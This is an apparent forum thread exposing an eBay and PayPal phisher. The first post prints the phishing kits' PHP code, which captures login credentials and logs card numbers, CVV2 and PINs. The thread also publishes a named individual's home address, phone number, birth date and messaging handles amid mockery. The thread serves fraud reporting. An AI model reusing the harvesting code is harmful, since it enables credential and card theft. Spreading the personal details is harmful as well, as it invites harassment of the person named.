| Ebay Phisher, Meet and Greet !!On August 28 nwrickert  submitted an Ebay phish 3782 to phishtrack
3782 Ebay Phish Mail
»/phishtrack?pi···2&urls=1 This Ebay phish was operating from a hijacked Win 2003 server at IP 217.218.131.201 in Tehran, Iran.
During the process of removing the phish site some evidence was uncovered that led to the culprit. The Hijacking and set up of the phish took place from IP 89.136.119.91 registered to Astral Telecom in Romania. Coincidentally, that is the same IP that the phish Ebay spam originated from, see headers phishtrack submit: »/phishtrack?pi···&parts=1

Say "Hi" to the Romanian Ebay phisher Mr. Borcila Andra, known to his friends as "Andra"
Romo criminal Borcila Andra
Here Borcila is taking a time out from the national occupation of scanning networks, hijacking computers, and hosting phishing sites to steal your financial data.
Romo criminal "Andra"
And a jovial Borcilla accepting the village crown wreath for winning the weekly most identities stolen contest.
More on "Andra" in a moment, first let's have a look at his behind the phish scenes handy work. Borcila had a script on the Ebay phish that captured the victim's User Id and Password and emailed to romanianpsycho@gmail.com:
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$userid = $_POST['userid'];
$pass = $_POST['pass'];
} else {
$userid = $_GET['userid'];
$pass = $_GET['pass'];
}
$myemail = "romanianpsycho@gmail.com";
$subject = "eBay";
$ipa = getenv('REMOTE_ADDR');
$dta = date("j.m.Y, G:ia", strtotime("+3 hours"));
$message = "
User: $userid
Parola: $pass
-------------------------------
";
if($UserIDgol != $userid || $passgol != $pass) {
$fp=fopen("REDACTED", "a+");
fputs ($fp,$message."\n");
fclose($fp);
header("Location:https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&pUserId=&co_partnerId=2&siteid=0&pageType=222&pa1=&i1=-1&UsingSSL=1&bshowgif=0&favoritenav=&ru=http%3A%2F%2Fcontact.ebay.com%3A80%2Fws%2FeBayISAPI.dll%3FReturnUserEmail%26contactsubmit%3DContact%2BMember%26MfcISAPICommand%3DReturnUserEmail%26frm%3D279%26iid%3D-1%26requested%3Dcaptainsimos%26redirect%3D0%26de%3Doff&pp=&errmsg=8
Besides the Ebay phish Mr Andra was working on a Paypal phish on the same Iranian server, his work in process included:
$file = fopen("REDACTED", "a");
$ip = getenv("REMOTE_ADDR");
$adddate=date("D M d, Y g:i a");
fputs ($file, "$adddate\r\n");
fputs ($file, "Login: $login\r\n");
fputs ($file, "Password: $password\r\n");
fputs ($file, "CC Number: $lol\r\n");
fputs ($file, "MONTH: $adi1\r\n");
fputs ($file, "YEAR: $adi2\r\n");
fputs ($file, "CVV2: $adi3\r\n");
fputs ($file, "PIN: $patru\r\n");
fputs ($file, "$ip\r\n");
fputs ($file, "-----------------------------------\r\n");
fclose ($file);
$ip = getenv("REMOTE_ADDR");
Borcila also had a failed attempt at sending 100,000 Ebay phish spams from that same location:

Mailing aborted at: 8/18/2006, 4:21:22 AM
Mr. Andra is already a career criminal and is not shy about listing his occupation as "Crime" and his interests as "Fraud":
Borcila's Resume
Besides the romanianpsycho@gmail.com address Borcila can also be reached at romanianpsycho@hotmail.com, or by AIM: Pantherkut, ICQ 194035514, or by Yahoo messenger: redbloodedeye.
Borcila lists his address as: Toparceanu nr. 6, Braila, Romania, and a telephone number of +40 (239) 620467. Andra's DOB is 01/23/1986.

| Re: Ebay Phisher, Meet and Greet !! Since this story has came to light,"Andra" has been busy over the past 24 hours !!
It now appears that after this posting the Romanian criminal Mr. Borcila Andra may be a little shy about his full time occupation of criminal phishing and credit card and identity fraud.
Apparently Andra has discontinued two email accounts in the past 24 hours namely: romanianpsycho@gmail.com and romanianpsycho@hotmail.com.
In addition, though Borcila Andra has now bravely changed his ICQ Nickname from "Andra" to " Come and get me": »www.icq.com/people/full_details_···94035514 his actions do not match his rhetoric. While making the nickname change he has also altered his profile and tried to hide his real identity.
Note the "Before" and "After":
Andra hs been systematically engaged in scanning net blocs and hijacking computers to use for multiple Ebay, Paypal, etc phishing sites. He engages in criminal fraud by using the collected credit cards and user ID's and Passwords.
Andra's self proclaimed occupation and interests listed here: »www.thefreewebhosting.com/profil···71132bac have been confirmed as accurate.
The challenge of "come and get me" should be turned over and reported to "contact[]efrauda.ro" »www.efrauda.ro/efrauda/admin/def···0&lang=2 and »https://www.efrauda.ro/efrauda_secure/ad···1&lang=2
That being said, I will agree however, that Mr. Borcila Andra is not in any danger of winning the "Smartest Criminal of the year" award !.

Of course no criminal fraudster even one at Mr "come and get me" Alba's two digit IQ level, would not test their phish to make sure that the victim's user id, password and card data was being collected:

Except for the one test from an AOL IP, "Alba" performed the complete operation from IP 89.136.119.91. He hacked into the server, set up both an Ebay and PayPal phish, made several attempts to complete a 100,000 phish spam mailing all from the comfort of his Romanian IP.
He posts his criminal resume online, posts pictures of himself, posts his Date of Birth, full address, telephone number, his email address, AIM, Yahoo IM, and ICQ info. When "outed", with the jaevos of a bull and the brain of a flea he says "Come and get me". However, after taking stock of his current situation he promptly changes his gender and begins his disguise.
Having any second thoughts there... Mr Miss "come and get me" Borcila Alba ???

| This guys is obviously a career criminal - no job, no interest of having a job and it's most likely also a satisfying "work" for him.
I've immigrated from Mid-EU, I have seen guys like this all over the place around early 90s, even I was offered huge money by gangs to help them in computer crimes (I'm engineer too) which I always immediately refused. (As, of course, online shopping haven't existed yet back then, offers usually meant something bigger - and more crazier - 'gig'...)
Now that region - now part of EU - is well ahead of Romania, so no wonder this kind of "profession" moved into 'more secure' areas (= less police influence expected) eastward, mostly to the Balkan and Romania, Ukraine etc. | |

Phishing is a huge industry in Eastern Europe, especially Romania. The police certainly try to crack down on it, but it is still very much of a problem. Corruption plays a big part in it as well.
All you'd do by alerting churches, store owners, and so on is having more people beg him for money and try to be his friends. 
As for family - they definitely know. Mom and dad tend to put 2 and 2 together when Junior is bringing in $5k a week.

And just think of it: someone may become p***ed off that Borica is not sharing his/her/its loot properly like a low-life should and perhaps arrange for a more forceful redistribution of wealth.

| All you have left is to embarass the scammer.
I know this will never happen, but it would be funny if when local merchants find out, they put a picture of the scammer up in their store stating that they only accept cash from this individual. (analogous to the bad check list by the register).
